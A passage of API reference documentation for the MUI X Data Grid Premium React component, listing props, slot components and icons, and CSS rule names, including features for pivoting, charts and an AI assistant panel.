| onFetchRows (deprecated) | `function(params: GridFetchRowsParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No | ⚠️ Use the {@link [https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#viewport-loading](https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#viewport-loading) Server-side data-Viewport loading} instead. |
| onFilterModelChange | `function(model: GridFilterModel, details: GridCallbackDetails) => void` | - | No |  |
| onMenuClose | `function(params: GridMenuParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onMenuOpen | `function(params: GridMenuParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onPaginationMetaChange | `function(paginationMeta: GridPaginationMeta) => void` | - | No |  |
| onPaginationModelChange | `function(model: GridPaginationModel, details: GridCallbackDetails) => void` | - | No |  |
| onPinnedColumnsChange | `function(pinnedColumns: GridPinnedColumnFields, details: GridCallbackDetails) => void` | - | No |  |
| onPivotActiveChange | `function(isPivotActive: boolean) => void` | - | No |  |
| onPivotModelChange | `function(pivotModel: GridPivotModel) => void` | - | No |  |
| onPivotPanelOpenChange (deprecated) | `function(pivotPanelOpen: boolean) => void` | - | No | ⚠️ Use the `sidebarOpen` and `sidebarClose` events or corresponding event handlers `onSidebarOpen()` and `onSidebarClose()` instead. |
| onPreferencePanelClose | `function(params: GridPreferencePanelParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onPreferencePanelOpen | `function(params: GridPreferencePanelParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onProcessRowUpdateError | `function(error: any) => void` | - | No |  |
| onPrompt | `function(prompt: string, promptContext: string, conversationId: string) => Promise<PromptResponse>` | - | No |  |
| onRedo | `func` | - | No |  |
| onResize | `function(containerSize: ElementSize, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onRowClick | `function(params: GridRowParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onRowCountChange | `function(count: number) => void` | - | No |  |
| onRowDoubleClick | `function(params: GridRowParams, event: MuiEvent<React.MouseEvent>, details: GridCallbackDetails) => void` | - | No |  |
| onRowEditStart | `function(params: GridRowParams, event: MuiEvent<React.KeyboardEvent \| React.MouseEvent>) => void` | - | No |  |
| onRowEditStop | `function(params: GridRowParams, event: MuiEvent<MuiBaseEvent>) => void` | - | No |  |
| onRowGroupingModelChange | `function(model: GridRowGroupingModel, details: GridCallbackDetails) => void` | - | No |  |
| onRowModesModelChange | `function(rowModesModel: GridRowModesModel, details: GridCallbackDetails) => void` | - | No |  |
| onRowOrderChange | `function(params: GridRowOrderChangeParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onRowSelectionModelChange | `function(rowSelectionModel: GridRowSelectionModel, details: GridCallbackDetails) => void` | - | No |  |
| onRowsScrollEnd (deprecated) | `function(params: GridRowScrollEndParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No | ⚠️ Use the {@link [https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#infinite-loading](https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#infinite-loading) Server-side data-Infinite loading} instead. |
| onSidebarClose | `function(params: GridSidebarParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onSidebarOpen | `function(params: GridSidebarParams, event: MuiEvent<{}>, details: GridCallbackDetails) => void` | - | No |  |
| onSortModelChange | `function(model: GridSortModel, details: GridCallbackDetails) => void` | - | No |  |
| onUndo | `func` | - | No |  |
| pageSizeOptions | `Array<number \| { label: string, value: number }>` | `[25, 50, 100]` | No |  |
| pagination | `bool` | `false` | No |  |
| paginationMeta | `{ hasNextPage?: bool }` | - | No |  |
| paginationMode | `'client' \| 'server'` | `"client"` | No |  |
| paginationModel | `{ page: number, pageSize: number }` | - | No |  |
| pinnedColumns | `object` | - | No |  |
| pinnedColumnsSectionSeparator | `'border-and-shadow' \| 'border' \| 'shadow'` | `'border-and-shadow'` | No |  |
| pinnedRows | `{ bottom?: Array<object>, top?: Array<object> }` | - | No |  |
| pinnedRowsSectionSeparator | `'border-and-shadow' \| 'border'` | `'border-and-shadow'` | No |  |
| pivotActive | `bool` | `false` | No |  |
| pivotingColDef | `func \| { align?: 'center' \| 'left' \| 'right', cellClassName?: func \| string, description?: string, display?: 'flex' \| 'text', field?: string, flex?: number, headerAlign?: 'center' \| 'left' \| 'right', headerClassName?: func \| string, headerName?: string, maxWidth?: number, minWidth?: number, resizable?: bool, sortingOrder?: Array<'asc' \| 'desc'>, width?: number }` | `undefined` | No |  |
| pivotModel | `{ columns: Array<object>, rows: Array<{ field: string, hidden?: bool }>, values: Array<{ aggFunc: string, field: string, hidden?: bool }> }` | - | No |  |
| pivotPanelOpen (deprecated) | `bool` | `false` | No | ⚠️ Use `initialState.sidebar.open` instead. |
| processRowUpdate | `function(newRow: R, oldRow: R, params: { rowId: GridRowId }) => Promise<R> \| R` | - | No |  |
| resizeThrottleMs | `number` | `60` | No |  |
| rowBufferPx | `number` | `150` | No |  |
| rowCount | `number` | - | No |  |
| rowGroupingColumnMode | `'multiple' \| 'single'` | `'single'` | No |  |
| rowGroupingModel | `Array<string>` | - | No |  |
| rowHeight | `number` | `52` | No |  |
| rowModesModel | `object` | - | No |  |
| rowReordering | `bool` | `false` | No |  |
| rows | `Array<object>` | `[]` | No |  |
| rowSelection | `bool` | `true` | No |  |
| rowSelectionModel | `{ ids: Set, type: 'exclude' \| 'include' }` | - | No |  |
| rowSelectionPropagation | `{ descendants?: bool, parents?: bool }` | `{ parents: true, descendants: true }` | No |  |
| rowsLoadingMode (deprecated) | `'client' \| 'server'` | `"client"` | No | ⚠️ Use the {@link [https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#viewport-loading](https://mui.com/x/react-data-grid/server-side-data/lazy-loading/#viewport-loading) Server-side data-Viewport loading} instead. |
| rowSpacingType | `'border' \| 'margin'` | `"margin"` | No |  |
| rowSpanning | `bool` | `false` | No |  |
| scrollbarSize | `number` | - | No |  |
| scrollEndThreshold | `number` | `80` | No |  |
| setTreeDataPath | `function(path: Array<string>, row: R) => R` | - | No |  |
| showCellVerticalBorder | `bool` | `false` | No |  |
| showColumnVerticalBorder | `bool` | `false` | No |  |
| showToolbar | `bool` | `false` | No |  |
| slotProps | `object` | - | No |  |
| slots | `object` | - | No |  |
| sortingMode | `'client' \| 'server'` | `"client"` | No |  |
| sortingOrder | `Array<'asc' \| 'desc'>` | `['asc', 'desc', null]` | No |  |
| sortModel | `Array<{ field: string, sort?: 'asc' \| 'desc' }>` | - | No |  |
| splitClipboardPastedText | `function(text: string, delimiter: string) => void` | - | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| tabNavigation | `'all' \| 'content' \| 'header' \| 'none'` | `"none"` | No |  |
| throttleRowsMs | `number` | `0` | No |  |
| treeData | `bool` | `false` | No |  |
| virtualizeColumnsWithAutoRowHeight | `bool` | `false` | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Slots

| Name | Default | Class | Description |
|------|---------|-------|-------------|
| aiAssistantPanel | `null` | `.MuiDataGridPremium-aiAssistantPanel` | Component rendered when AI Assistant panel is open. Only needed when `aiAssistant` prop is passed to the grid.
Pass `GridAiAssistantPanel` to render the default AI Assistant panel. |
| chartsPanel | `null` | - | Component rendered when charts panel is open. Only needed when `chartsIntegration` prop is passed to the grid.
Pass `GridChartsPanel` to render the default charts panel. |
| emptyPivotOverlay | `GridEmptyPivotOverlay` | - | Component rendered when pivot mode is enabled but no rows are defined. |
| headerFilterCell | `GridHeaderFilterCell` | - | Component responsible for showing menu adornment in Header filter row |
| headerFilterMenu | `GridHeaderFilterMenu` | - | Component responsible for showing menu in Header filter row |
| bottomContainer | `GridBottomContainer` | - | Component rendered for the bottom container. |
| cell | `GridCell` | `.MuiDataGridPremium-cell` | Component rendered for each cell. |
| skeletonCell | `GridSkeletonCell` | - | Component rendered for each skeleton cell. |
| columnHeaderFilterIconButton | `GridColumnHeaderFilterIconButton` | - | Filter icon component rendered in each column header. |
| columnHeaderSortIcon | `GridColumnHeaderSortIcon` | - | Sort icon component rendered in each column header. |
| columnMenu | `GridColumnMenu` | - | Column menu component rendered by clicking on the 3 dots "kebab" icon in column headers. |
| columnHeaders | `GridColumnHeaders` | `.MuiDataGridPremium-columnHeaders` | Component responsible for rendering the column headers. |
| detailPanels | `GridDetailPanels` | - | Component responsible for rendering the detail panels. |
| footer | `GridFooter` | - | Footer component rendered at the bottom of the grid viewport. |
| footerRowCount | `GridRowCount` | - | Row count component rendered in the footer |
| toolbar | `undefined` | `.MuiDataGridPremium-toolbar` | Toolbar component rendered in the grid header. |
| loadingOverlay | `GridLoadingOverlay` | - | Loading overlay component rendered when the grid is in a loading state. |
| noResultsOverlay | `GridNoResultsOverlay` | - | No results overlay component rendered when the grid has no results after filtering. |
| noRowsOverlay | `GridNoRowsOverlay` | - | No rows overlay component rendered when the grid has no rows. |
| noColumnsOverlay | `GridNoColumnsOverlay` | - | No columns overlay component rendered when the grid has no columns. |
| pagination | `Pagination` | - | Pagination component rendered in the grid footer by default. |
| filterPanel | `GridFilterPanel` | - | Filter panel component rendered when clicking the filter button. |
| columnsPanel | `GridColumnsPanel` | - | GridColumns panel component rendered when clicking the columns button. |
| columnsManagement | `GridColumnsManagement` | `.MuiDataGridPremium-columnsManagement` | Component used inside Grid Columns panel to manage columns. |
| panel | `GridPanel` | `.MuiDataGridPremium-panel` | Panel component wrapping the filters and columns panels. |
| row | `GridRow` | `.MuiDataGridPremium-row` | Component rendered for each row. |
| baseAutocomplete | `Autocomplete` | - | The custom Autocomplete component used in the grid for both header and cells. |
| baseBadge | `Badge` | - | The custom Badge component used in the grid for both header and cells. |
| baseCheckbox | `Checkbox` | - | The custom Checkbox component used in the grid for both header and cells. |
| baseChip | `Chip` | - | The custom Chip component used in the grid. |
| baseCircularProgress | `CircularProgress` | - | The custom CircularProgress component used in the grid. |
| baseDivider | `Divider` | - | The custom Divider component used in the grid. |
| baseLinearProgress | `LinearProgress` | - | The custom LinearProgress component used in the grid. |
| baseMenuList | `MenuList` | - | The custom MenuList component used in the grid. |
| baseMenuItem | `MenuItem` | - | The custom MenuItem component used in the grid. |
| baseTextField | `TextField` | - | The custom TextField component used in the grid. |
| baseSelect | `Select` | - | The custom Select component used in the grid. |
| baseButton | `Button` | - | The custom Button component used in the grid. |
| baseIconButton | `IconButton` | - | The custom IconButton component used in the grid. |
| baseInput | `Input` | - | The custom Input component used in the grid. |
| baseTextarea | `InputBase with multiline` | - | The custom Textarea component used in the grid for multiline text editing. |
| baseToggleButton | `ToggleButton` | - | The custom ToggleButton component used in the grid. |
| baseTooltip | `Tooltip` | - | The custom Tooltip component used in the grid. |
| basePagination | `Pagination` | - | The custom Pagination component used in the grid. |
| basePopper | `Popper` | - | The custom Popper component used in the grid. |
| baseSelectOption | `SelectOption` | - | The custom SelectOption component used in the grid. |
| baseSkeleton | `Skeleton` | - | The custom Skeleton component used in the grid. |
| baseSwitch | `Switch` | - | The custom Switch component used in the grid. |
| baseTabs | `Tabs` | - | The custom Tabs component used in the grid. |
| booleanCellTrueIcon | `GridCheckIcon` | - | Icon displayed on the boolean cell to represent the true value. |
| booleanCellFalseIcon | `GridCloseIcon` | - | Icon displayed on the boolean cell to represent the false value. |
| undoIcon | `GridUndoIcon` | - | Icon displayed on the undo button in the toolbar. |
| redoIcon | `GridRedoIcon` | - | Icon displayed on the redo button in the toolbar. |
| columnMenuIcon | `GridTripleDotsVerticalIcon` | - | Icon displayed on the side of the column header title to display the filter input component. |
| openFilterButtonIcon | `GridFilterListIcon` | - | Icon displayed on the open filter button present in the toolbar by default. |
| columnFilteredIcon | `GridFilterAltIcon` | - | Icon displayed on the column header menu to show that a filter has been applied to the column. |
| columnSelectorIcon | `GridColumnIcon` | - | Icon displayed on the column menu selector tab. |
| columnUnsortedIcon | `GridColumnUnsortedIcon` | - | Icon displayed on the side of the column header title when unsorted. |
| columnSortedAscendingIcon | `GridArrowUpwardIcon` | - | Icon displayed on the side of the column header title when sorted in ascending order. |
| columnSortedDescendingIcon | `GridArrowDownwardIcon` | - | Icon displayed on the side of the column header title when sorted in descending order. |
| columnResizeIcon | `GridSeparatorIcon` | - | Icon displayed in between two column headers that allows to resize the column header. |
| densityCompactIcon | `GridViewHeadlineIcon` | - | Icon displayed on the compact density option in the toolbar. |
| densityStandardIcon | `GridTableRowsIcon` | - | Icon displayed on the standard density option in the toolbar. |
| densityComfortableIcon | `GridViewStreamIcon` | - | Icon displayed on the "comfortable" density option in the toolbar. |
| exportIcon | `GridDownloadIcon` | - | Icon displayed on the open export button present in the toolbar by default. |
| moreActionsIcon | `GridMoreVertIcon` | - | Icon displayed on the `actions` column type to open the menu. |
| treeDataExpandIcon | `GridKeyboardArrowRight` | - | Icon displayed on the tree data toggling column when the children are collapsed |
| treeDataCollapseIcon | `GridExpandMoreIcon` | - | Icon displayed on the tree data toggling column when the children are expanded |
| groupingCriteriaExpandIcon | `GridKeyboardArrowRight` | - | Icon displayed on the grouping column when the children are collapsed |
| groupingCriteriaCollapseIcon | `GridExpandMoreIcon` | - | Icon displayed on the grouping column when the children are expanded |
| detailPanelExpandIcon | `GridAddIcon` | - | Icon displayed on the detail panel toggle column when collapsed. |
| detailPanelCollapseIcon | `GridRemoveIcon` | - | Icon displayed on the detail panel toggle column when expanded. |
| filterPanelAddIcon | `GridAddIcon` | - | Icon displayed for deleting the filter from filter panel. |
| filterPanelDeleteIcon | `GridDeleteIcon` | - | Icon displayed for deleting the filter from filter panel. |
| filterPanelRemoveAllIcon | `GridDeleteForeverIcon` | - | Icon displayed for deleting all the active filters from filter panel. |
| rowReorderIcon | `GridDragIcon` | `.MuiDataGridPremium-rowReorderIcon` | Icon displayed on the `reorder` column type to reorder a row. |
| quickFilterIcon | `GridSearchIcon` | - | Icon displayed on the quick filter input. |
| quickFilterClearIcon | `GridCloseIcon` | - | Icon displayed on the quick filter reset input. |
| columnMenuHideIcon | `GridVisibilityOffIcon` | - | Icon displayed in column menu for hiding column |
| columnMenuSortAscendingIcon | `GridArrowUpwardIcon` | - | Icon displayed in column menu for ascending sort |
| columnMenuSortDescendingIcon | `GridArrowDownwardIcon` | - | Icon displayed in column menu for descending sort |
| columnMenuUnsortIcon | `null` | - | Icon displayed in column menu for unsort |
| columnMenuFilterIcon | `GridFilterAltIcon` | - | Icon displayed in column menu for filter |
| columnMenuManageColumnsIcon | `GridViewColumnIcon` | - | Icon displayed in column menu for showing all columns |
| columnMenuClearIcon | `GridClearIcon` | - | Icon displayed in column menu for clearing values |
| loadIcon | `GridLoadIcon` | - | Icon displayed on the input while processing. |
| columnReorderIcon | `GridDragIcon` | - | Icon displayed on the column reorder button. |
| menuItemCheckIcon | `GridCheckIcon` | - | Icon displayed to indicate that a menu item is selected. |
| longTextCellExpandIcon | `GridLongTextCellExpandIcon` | - | Icon displayed on the long text cell to expand the content. |
| longTextCellCollapseIcon | `GridLongTextCellCollapseIcon` | - | Icon displayed on the long text cell popup to collapse the content. |
| columnMenuPinLeftIcon | `GridPushPinLeftIcon` | - | Icon displayed in column menu for left pinning |
| columnMenuPinRightIcon | `GridPushPinRightIcon` | - | Icon displayed in column menu for right pinning |
| columnMenuUngroupIcon | `GridWorkspacesIcon` | - | Icon displayed in column menu for ungrouping |
| columnMenuGroupIcon | `GridGroupWorkIcon` | - | Icon displayed in column menu for grouping |
| columnMenuAggregationIcon | `GridFunctionsIcon` | - | Icon displayed in column menu for aggregation |
| pivotIcon | `GridPivotIcon` | - | Icon used for the pivot icon |
| pivotSearchIcon | `GridSearchIcon` | - | Icon used for the search icon in the sidebar search field |
| pivotSearchClearIcon | `GridClearIcon` | - | Icon used for the clear button in the sidebar search field |
| pivotMenuAddIcon | `GridAddIcon` | - | Icon displayed in the pivot menu for adding a field to a pivot section. |
| pivotMenuMoveUpIcon | `GridExpandLessIcon` | - | Icon displayed in the pivot menu for moving a field up. |
| pivotMenuMoveDownIcon | `GridExpandMoreIcon` | - | Icon displayed in the pivot menu for moving a field down. |
| pivotMenuMoveToTopIcon | `GridMoveToTopIcon` | - | Icon displayed in the pivot menu for moving a field to the top. |
| pivotMenuMoveToBottomIcon | `GridMoveToBottomIcon` | - | Icon displayed in the pivot menu for moving a field to the bottom. |
| pivotMenuCheckIcon | `GridCheckIcon` | - | Icon displayed in the pivot menu to signify a pivot section is selected. |
| pivotMenuRemoveIcon | `GridDeleteIcon` | - | Icon displayed in the pivot menu for removing a field from the pivot. |
| sidebarCloseIcon | `GridCloseIcon` | - | Icon displayed in the sidebar close button. |
| collapsibleIcon | `GridExpandMoreIcon` | `.MuiDataGridPremium-collapsibleIcon` | Icon displayed in the collapsible to indicate if it is open or closed. |
| aiAssistantIcon | `GridAssistantIcon` | - | Icon used for the AI Assistant button |
| aiAssistantPanelCloseIcon | `GridCloseIcon` | - | Icon used for the AI Assistant panel close button |
| aiAssistantPanelNewConversationIcon | `GridAddIcon` | - | Icon used for the AI Assistant panel new conversation button |
| aiAssistantPanelHistoryIcon | `GridHistoryIcon` | - | Icon used for the AI Assistant panel history icon |
| promptIcon | `GridPromptIcon` | `.MuiDataGridPremium-promptIcon` | Icon used for the prompt |
| promptSendIcon | `GridSendIcon` | - | Icon used for the button that sends a prompt |
| promptSpeechRecognitionIcon | `GridMicIcon` | - | Icon used for the button that starts and stops recording the prompt |
| promptSpeechRecognitionOffIcon | `GridMicOffIcon` | - | Icon used for when speech recognition is not supported |
| promptRerunIcon | `GridRerunIcon` | - | Icon used for the button that reruns a prompt |
| promptSortAscIcon | `GridArrowUpwardIcon` | - | Icon used to display sort ascending changes |
| promptSortDescIcon | `GridArrowDownwardIcon` | - | Icon used to display sort descending changes |
| promptChartsIcon | `GridChartsIcon` | - | Icon used to mark the request to visalize the data |
| promptGroupIcon | `GridGroupWorkIcon` | - | Icon used to display group changes |
| promptFilterIcon | `GridFilterAltIcon` | - | Icon used to display filter changes |
| promptPivotIcon | `GridPivotIcon` | - | Icon used to display pivot changes |
| promptAggregationIcon | `GridFunctionsIcon` | - | Icon used to display aggregation changes |
| promptChangesToggleIcon | `GridExpandMoreIcon` | `.MuiDataGridPremium-promptChangesToggleIcon` | Icon used on the toggle button of the changes list |
| chartsIcon | `GridChartsIcon` | - | Icon used for the charts configuration button |
| chartsSearchIcon | `GridSearchIcon` | - | Icon used for the search icon in the sidebar search field in the charts configuration panel |
| chartsSearchClearIcon | `GridClearIcon` | - | Icon used for the clear button in the sidebar search field in the charts configuration panel |
| chartsMenuMoveUpIcon | `GridExpandLessIcon` | - | Icon used for the move up button in the charts configuration panel menu |
| chartsMenuMoveDownIcon | `GridExpandMoreIcon` | - | Icon used for the move down button in the charts configuration panel menu |
| chartsMenuMoveToTopIcon | `GridMoveToTopIcon` | - | Icon used for the move to top button in the charts configuration panel menu |
| chartsMenuMoveToBottomIcon | `GridMoveToBottomIcon` | - | Icon used for the move to bottom button in the charts configuration panel menu |
| chartsMenuAddIcon | `GridAddIcon` | - | Icon used for the add button in the charts configuration panel menu |
| chartsMenuRemoveIcon | `GridDeleteIcon` | - | Icon used for the remove button in the charts configuration panel menu |
| chartsSyncIcon | `GridSyncIcon` | - | Icon used for the sync button in the charts configuration panel when sync is enabled |
| chartsSyncDisabledIcon | `GridSyncDisabledIcon` | - | Icon used for the sync button in the charts configuration panel when sync is disabled |

## CSS

### Rule name

| Global class | Rule name | Description |
|--------------|-----------|-------------|
| - | actionsCell | Styles applied to the root element of the cell with type="actions". |
| - | aggregationColumnHeader | Styles applied to the root element of the column header when aggregated. |
| - | aggregationColumnHeader--alignCenter | Styles applied to the root element of the header when aggregation if `headerAlign="center"`. |
| - | aggregationColumnHeader--alignLeft | Styles applied to the root element of the header when aggregation if `headerAlign="left"`. |
| - | aggregationColumnHeader--alignRight | Styles applied to the root element of the header when aggregation if `headerAlign="right"`. |
| - | aggregationColumnHeaderLabel | Styles applied to the aggregation label in the column header when aggregated. |
| - | aggregationRowOverlayWrapper | Styles applied to the aggregation row overlay wrapper. |
| - | aiAssistantPanelBody | Styles applied to the AI assistant panel body. |
| - | aiAssistantPanelConversation | Styles applied to the AI assistant panel conversation. |
| - | aiAssistantPanelConversationList | Styles applied to the AI assistant panel conversation list. |
| - | aiAssistantPanelConversationTitle | Styles applied to the AI assistant panel conversation title. |
| - | aiAssistantPanelEmptyText | Styles applied to the AI assistant panel empty text. |
| - | aiAssistantPanelFooter | Styles applied to the AI assistant panel footer. |
| - | aiAssistantPanelHeader | Styles applied to the AI assistant panel header. |
| - | aiAssistantPanelSuggestions | Styles applied to the AI assistant panel suggestions. |
| - | aiAssistantPanelSuggestionsItem | Styles applied to the AI assistant panel suggestions item. |
| - | aiAssistantPanelSuggestionsLabel | Styles applied to the AI assistant panel suggestions label. |
| - | aiAssistantPanelSuggestionsList | Styles applied to the AI assistant panel suggestions list. |
| - | aiAssistantPanelTitle | Styles applied to the AI assistant panel title. |
| - | aiAssistantPanelTitleContainer | Styles applied to the AI assistant panel title container. |
| - | autoHeight | Styles applied to the root element if `autoHeight={true}`. |
| - | autosizing | Styles applied to the root element while it is being autosized. |
| - | booleanCell | Styles applied to the icon of the boolean cell. |
| - | cell--editable | Styles applied to the cell element if the cell is editable. |
| - | cell--editing | Styles applied to the cell element if the cell is in edit mode. |
| - | cell--flex | Styles applied to the cell element in flex display mode. |
| - | cell--pinnedLeft | Styles applied to the cell element if it is pinned to the left. |
| - | cell--pinnedRight | Styles applied to the cell element if it is pinned to the right. |
| - | cell--rangeBottom | Styles applied to the cell element if it is at the bottom edge of a cell selection range. |
| - | cell--rangeLeft | Styles applied to the cell element if it is at the left edge of a cell selection range. |
| - | cell--rangeRight | Styles applied to the cell element if it is at the right edge of a cell selection range. |
| - | cell--rangeTop | Styles applied to the cell element if it is at the top edge of a cell selection range. |
| - | cell--selectionMode | Styles applied to the cell element if it is in a cell selection range. |
| - | cell--textCenter | Styles applied to the cell element if `align="center"`. |
| - | cell--textLeft | Styles applied to the cell element if `align="left"`. |
| - | cell--textRight | Styles applied to the cell element if `align="right"`. |
| - | cell--withLeftBorder | Styles applied the cell if `showColumnVerticalBorder={true}`. |
| - | cell--withRightBorder | Styles applied the cell if `showColumnVerticalBorder={true}`. |
| - | cellCheckbox | Styles applied to the cell checkbox element. |
| - | cellEmpty | Styles applied to the empty cell element. |
| - | cellSkeleton | Styles applied to the skeleton cell element. |
| - | checkboxInput | Styles applied to the selection checkbox element. |
| - | collapsible | Styles applied to the collapsible element. |
| - | collapsiblePanel | Styles applied to the collapsible panel element. |
| - | collapsibleTrigger | Styles applied to the collapsible trigger element. |
| - | columnHeader | Styles applied to the column header element. |
| - | columnHeader--alignCenter | Styles applied to the column header if `headerAlign="center"`. |
| - | columnHeader--alignLeft | Styles applied to the column header if `headerAlign="left"`. |
| - | columnHeader--alignRight | Styles applied to the column header if `headerAlign="right"`. |
| - | columnHeader--dragging | Styles applied to the floating column header element when it is dragged. |
| - | columnHeader--emptyGroup | Styles applied to the empty column group header cell. |
| - | columnHeader--filledGroup | Styles applied to the column group header cell if not empty. |
| - | columnHeader--filter | Styles applied to the header filter cell. |
| - | columnHeader--filtered | Styles applied to the column header if the column has a filter applied to it. |
| - | columnHeader--last | Styles applied to the last column header element. |
| - | columnHeader--moving | Styles applied to the column header if it is being dragged. |
| - | columnHeader--numeric | Styles applied to the column header if the type of the column is `number`. |
| - | columnHeader--pinnedLeft |  |
| - | columnHeader--pinnedRight |  |
| - | columnHeader--sortable | Styles applied to the column header if the column is sortable. |
| - | columnHeader--sorted | Styles applied to the column header if the column is sorted. |
| - | columnHeader--withLeftBorder |  |
| - | columnHeader--withRightBorder | Styles applied the column header if `showColumnVerticalBorder={true}`. |
| - | columnHeaderCheckbox | Styles applied to the header checkbox cell element. |
| - | columnHeaderDraggableContainer | Styles applied to the column header's draggable container element. |
| - | columnHeaderFilterInput | Styles applied to the header filter input element. |
| - | columnHeaderFilterOperatorLabel | Styles applied to the header filter operator label element. |
| - | columnHeaderTitle | Styles applied to the column header's title element; |
| - | columnHeaderTitleContainer | Styles applied to the column header's title container element. |
| - | columnHeaderTitleContainerContent | Styles applied to the column header's title excepted buttons. |
| - | columnSeparator | Styles applied to the column header separator element. |
| - | columnSeparator--resizable | Styles applied to the column header separator if the column is resizable. |
| - | columnSeparator--resizing | Styles applied to the column header separator if the column is being resized. |
| - | columnSeparator--sideLeft | Styles applied to the column header separator if the side is "left". |
| - | columnSeparator--sideRight | Styles applied to the column header separator if the side is "right". |
| - | columnsManagementEmptyText | Styles applied to the columns management empty text element. |
| - | columnsManagementFooter | Styles applied to the columns management footer element. |
| - | columnsManagementHeader | Styles applied to the columns management header element. |
| - | columnsManagementRow | Styles applied to the columns management row element. |
| - | columnsManagementScrollArea | Styles applied to the columns management scroll area element. |
| - | columnsManagementSearchInput | Styles applied to the columns management search input element. |
| - | container--bottom | Styles applied to the bottom container. |
| - | container--top | Styles applied to the top container. |
| - | detailPanel | Styles applied to the detail panel element. |
| - | detailPanelToggleCell | Styles applied to the detail panel toggle cell element. |
| - | detailPanelToggleCell--expanded | Styles applied to the detail panel toggle cell element if expanded. |
| - | editBooleanCell | Styles applied to root of the boolean edit component. |
| - | editInputCell | Styles applied to the root of the input component. |
| - | editLongTextCell | Styles applied to the edit long text cell root element. |
| - | editLongTextCellPopperContent | Styles applied to the edit long text cell popper content. |
| - | editLongTextCellPopup | Styles applied to the edit long text cell popup. |
| - | editLongTextCellTextarea | Styles applied to the edit long text cell textarea. |
| - | editLongTextCellValue | Styles applied to the edit long text cell value element. |
| - | filterForm | Styles applied to the root of the filter form component. |
| - | filterFormColumnInput | Styles applied to the column input of the filter form component. |
| - | filterFormDeleteIcon | Styles applied to the delete icon of the filter form component. |
| - | filterFormLogicOperatorInput | Styles applied to the link operator input of the filter form component. |
| - | filterFormOperatorInput | Styles applied to the operator input of the filter form component. |
| - | filterFormValueInput | Styles applied to the value input of the filter form component. |
| - | filterIcon | Styles applied to the filter icon element. |
| - | footerCell | Styles applied to the root element of the cell inside a footer row. |
| - | footerContainer | Styles applied to the footer container element. |
| - | groupingCriteriaCell | Styles applied to the root element of the grouping criteria cell |
| - | groupingCriteriaCellToggle | Styles applied to the toggle of the grouping criteria cell |
| - | headerFilterRow | Styles applied to the column header filter row. |
| - | iconButtonContainer | Styles applied to the column header icon's container. |
| - | iconSeparator | Styles applied to the column header separator icon element. |
| - | longTextCell | Styles applied to the long text cell root element. |
| - | longTextCellCollapseButton | Styles applied to the long text cell collapse button. |
| - | longTextCellContent | Styles applied to the long text cell content element. |
| - | longTextCellExpandButton | Styles applied to the long text cell expand button. |
| - | longTextCellPopperContent | Styles applied to the long text cell popper content. |
| - | longTextCellPopup | Styles applied to the long text cell popup. |
| - | main | Styles applied to the main container element. |
| - | main--hasPinnedRight | Styles applied to the main container element when it has right pinned columns. |
| - | mainContent |  |
| - | menu | Styles applied to the menu element. |
| - | menuIcon | Styles applied to the menu icon element. |
| - | menuIconButton | Styles applied to the menu icon button element. |
| - | menuList | Styles applied to the menu list element. |
| - | menuOpen | Styles applied to the menu icon element if the menu is open. |
| - | overlay | Styles applied to the overlay element. |
| - | overlayWrapper | Styles applied to the overlay wrapper element. |
| - | overlayWrapperInner | Styles applied to the overlay wrapper inner element. |
| - | panelContent | Styles applied to the panel content element. |
| - | panelFooter | Styles applied to the panel footer element. |
| - | panelHeader | Styles applied to the panel header element. |
| - | panelWrapper | Styles applied to the panel wrapper element. |
| - | paper | Styles applied to the paper element. |
| - | pinnedRows | Styles applied to the pinned rows container. |
| - | pinnedRows--bottom | Styles applied to the bottom pinned rows container. |
| - | pinnedRows--top | Styles applied to the top pinned rows container. |
| - | pivotPanelAvailableFields | Styles applied to the pivot panel available fields. |
| - | pivotPanelBody | Styles applied to the pivot panel body. |
| - | pivotPanelField | Styles applied to the pivot panel field. |
| - | pivotPanelField--sorted | Styles applied to the pivot panel field when sorted. |
| - | pivotPanelFieldActionContainer | Styles applied to the pivot panel field action container. |
| - | pivotPanelFieldCheckbox | Styles applied to the pivot panel field checkbox. |
| - | pivotPanelFieldDragIcon | Styles applied to the pivot panel field drag icon. |
| - | pivotPanelFieldList | Styles applied to the pivot panel field list. |
| - | pivotPanelFieldName | Styles applied to the pivot panel field name. |
| - | pivotPanelHeader | Styles applied to the pivot panel header. |
| - | pivotPanelPlaceholder | Styles applied to the pivot panel placeholder. |
| - | pivotPanelScrollArea | Styles applied to the pivot panel scroll area. |
| - | pivotPanelSearchContainer | Styles applied to the pivot panel search container. |
| - | pivotPanelSection | Styles applied to the pivot panel section. |
| - | pivotPanelSections | Styles applied to the pivot panel sections. |
| - | pivotPanelSectionTitle | Styles applied to the pivot panel section title. |
| - | pivotPanelSwitch | Styles applied to the pivot panel switch. |
| - | pivotPanelSwitchLabel | Styles applied to the pivot panel switch label. |
| - | prompt | Styles applied to the prompt root element. |
| - | promptAction | Styles applied to the prompt action element. |
| - | promptChangeList | Styles applied to the prompt change list element. |
| - | promptChangesToggle | Styles applied to the prompt changes toggle element. |
| - | promptContent | Styles applied to the prompt content element. |
| - | promptError | Styles applied to the prompt error element. |
| - | promptFeedback | Styles applied to the prompt feedback element. |
| - | promptIconContainer | Styles applied to the prompt icon element. |
| - | promptText | Styles applied to the prompt text element. |
| - | resizablePanelHandle | Styles applied to resizable panel handles. |
| - | resizablePanelHandle--horizontal | Styles applied to horizontal resizable panel handles. |
| - | resizablePanelHandle--vertical | Styles applied to vertical resizable panel handles. |
| - | root | Styles applied to the root element. |
